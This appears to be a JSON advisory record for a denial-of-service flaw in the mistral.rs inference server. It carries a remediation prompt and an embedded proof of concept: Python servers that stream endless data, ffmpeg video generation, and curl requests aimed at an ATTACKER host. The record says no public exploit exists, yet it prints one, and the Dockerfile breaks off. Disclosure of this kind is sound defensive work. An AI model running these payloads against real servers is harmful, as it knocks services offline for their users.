{"answers":{"affected":"2 open source packages ship an affected version, including mistralrs-server-core.","exploited":"There is no known exploitation of GHSA-m3wp-48jr-vr4g in the wild and no public exploit code.","fix":"Upgrade mistralrs-server-core to 0.8.18 or later.","what":"GHSA-m3wp-48jr-vr4g is a denial of service vulnerability in mistralrs-server-core, published on 10 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-m3wp-48jr-vr4g and fix it if it is affected.\n\nWhat it is: GHSA-m3wp-48jr-vr4g is a denial of service vulnerability in mistralrs-server-core, published on 10 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-m3wp-48jr-vr4g in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- mistralrs-server-core (crates.io): affected all versions; fixed in 0.8.18\n- mistralrs-server-core (crates.io): affected all versions; fixed in 0.8.18\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-m3wp-48jr-vr4g/ (Markdown: https://insights.sbomify.com/GHSA-m3wp-48jr-vr4g/index.md)","id":"GHSA-m3wp-48jr-vr4g","markdown":"https://insights.sbomify.com/GHSA-m3wp-48jr-vr4g/index.md","name":"GHSA-m3wp-48jr-vr4g","record":{"aliases":[],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"LLM inference server","requires_auth":"none","summary":"Unauthenticated attackers can cause denial of service by sending malicious media URLs to the chat completions endpoint, exhausting server memory and CPU.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    match reqwest::get(url.clone()).await {\n        Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // no byte cap\n        Err(e) =\u003e anyhow::bail!(e),\n    }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    let resp = reqwest::get(url.clone())\n        .await\n        .context(format!(\"Failed to fetch video: {url}\"))?;\n    resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec\u003cu8\u003e`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`)**\n\n```rust\n} else {\n    let mut command = tokio::process::Command::new(\"ffmpeg\");\n    command\n        .arg(\"-i\")\n        .arg(input_path.to_str().unwrap())\n        .arg(\"-vsync\")\n        .arg(\"vfr\")\n        .arg(\u0026output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(\u0026url_unparsed, None)\n```\n\nA 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"video/mp4\")\n        self.end_headers()\n        with open(\"many_frames.mp4\", \"rb\") as f:\n            self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        self.end_headers()\n        chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n        while True:\n            self.wfile.write(chunk)\n            self.wfile.flush()\n            time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 – Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n        {\"type\": \"text\", \"text\": \"summarize this video\"}\n      ]\n    }]\n  }'\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n        {\"type\": \"text\", \"text\": \"describe this image\"}\n      ]\n    }]\n  }'\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/\u003cuuid\u003e_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59–62` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends pkg-config libssl-dev \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src \u0026\u0026 echo 'fn main() {}' \u003e src/main.rs\nRUN cargo fetch 2\u003e\u00261\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2\u003e\u00261 \u0026\u0026 \\\n    strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates python3 \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT","ecosystems":["crates.io"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS","id":"GHSA-m3wp-48jr-vr4g","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"crates.io","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"crates.io","fixed":["0.8.18"],"introduced":["0"],"last_affected":[],"package":"mistralrs-server-core","purl":null,"source":"GHSA-m3wp-48jr-vr4g"},{"ecosystem":"crates.io","fixed":["0.8.18"],"introduced":["0"],"last_affected":[],"package":"mistralrs-server-core","purl":"pkg:cargo/mistralrs-server-core","source":"GHSA-m3wp-48jr-vr4g"}],"products":null,"published":"2026-09-10","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can cause denial of service by sending malicious media URLs to the chat completions endpoint, exhausting server memory and CPU.","url":"https://insights.sbomify.com/GHSA-m3wp-48jr-vr4g/"}